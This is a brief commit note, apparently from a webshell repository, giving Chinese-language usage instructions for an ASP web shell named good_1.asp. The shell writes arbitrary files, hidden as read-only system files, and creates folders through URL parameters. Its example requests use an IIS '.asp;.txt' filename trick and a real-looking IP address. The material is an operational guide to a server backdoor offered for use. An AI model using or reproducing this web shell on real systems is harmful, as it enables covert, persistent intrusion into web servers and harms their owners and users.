tennc
|
3fc2d3a889
|
Create good_1.asp
当参数task=1时
如果你传递参数
http://222.39.14.164/xdexdb4w.asp;.txt?task=1&paths=jtgw&nnfilename=1.asp&content=lalla
参数说明
task：执行命令的id
paths:在哪个文件夹写文件（如果是空，则在在最后一个文件夹下写入文件）
nnfilename：文件名
content：文件内容
主要这个被写出来的文件被隐藏成为系统文件类型，而且是文件为只读
当task=2时
当传递的参数为
http://localhost/1.asp?task=2&paths=&defaulthtml=mengmeng&nnfilename=1.txt&content=mamama
这个功能只是比上一个多出来了一个创建文件夹的功能
defaulthtml：创建的文件夹名字
from: zone.wooyun.org
|
2015-12-17 09:55:51 +08:00 |
|